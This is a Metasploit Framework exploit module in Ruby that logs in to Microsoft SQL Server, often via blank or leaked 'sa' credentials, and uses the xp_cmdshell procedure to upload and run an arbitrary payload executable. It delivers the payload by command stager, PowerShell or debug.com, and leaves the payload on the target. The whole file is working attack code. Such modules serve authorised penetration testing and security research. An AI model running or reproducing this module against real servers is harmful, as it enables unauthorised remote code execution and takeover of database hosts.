##
# $Id: mssql_payload.rb 11392 2010-12-21 20:36:34Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::MSSQL
include Msf::Exploit::CmdStagerVBS
#include Msf::Exploit::CmdStagerDebugAsm
#include Msf::Exploit::CmdStagerDebugWrite
#include Msf::Exploit::CmdStagerTFTP
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft SQL Server Payload Execution',
'Description' => %q{
This module executes an arbitrary payload on a Microsoft SQL Server by using
the "xp_cmdshell" stored procedure. Currently, three delivery methods are supported.
First, the original method uses Windows 'debug.com'. File size restrictions are
avoidied by incorporating the debug bypass method presented by SecureStat at
Defcon 17. Since this method invokes ntvdm, it is not available on x86_64 systems.
A second method takes advantage of the Command Stager subsystem. This allows using
various techniques, such as using a TFTP server, to send the executable. By default
the Command Stager uses 'wcsript.exe' to generate the executable on the target.
Finally, ReL1K's latest method utilizes PowerShell to transmit and recreate the
payload on the target.
NOTE: This module will leave a payload executable on the target system when the
attack is finished.
},
'Author' =>
[
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>', # original module, debug.exe method, powershell method
'jduck' # command stager mods
],
'License' => MSF_LICENSE,
'Version' => '$Revision: 11392 $',
'References' =>
[
# 'sa' password in logs
[ 'CVE', '2000-0402' ],
[ 'OSVDB', '557' ],
[ 'BID', '1281' ],
# blank default 'sa' password
[ 'CVE', '2000-1209' ],
[ 'OSVDB', '15757' ],
[ 'BID', '4797' ]
],
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', { } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 30 2000'
))
register_options(
[
OptBool.new('VERBOSE', [ false, 'Enable verbose output', false ]),
OptString.new('METHOD', [ true, 'Which payload delivery method to use (ps, cmd, or old)', 'cmd' ])
])
end
# This is method required for the CmdStager to work...
def execute_command(cmd, opts)
mssql_xpcmdshell(cmd, datastore['VERBOSE'])
end
def exploit
if (not mssql_login_datastore)
print_status("Invalid SQL Server credentials")
return
end
method = datastore['METHOD'].downcase
if (method =~ /^cmd/)
execute_cmdstager({ :linemax => 1500, :nodelete => true })
#execute_cmdstager({ :linemax => 1500 })
else
# Generate the EXE, this is the same no matter what delivery mechanism we use
exe = generate_payload_exe
# Use powershell method for payload delivery if specified
if (method =~ /^ps/) or (method =~ /^power/)
powershell_upload_exec(exe)
else
# Otherwise, fall back to the old way..
mssql_upload_exec(exe, datastore['VERBOSE'])
end
end
handler
disconnect
end
end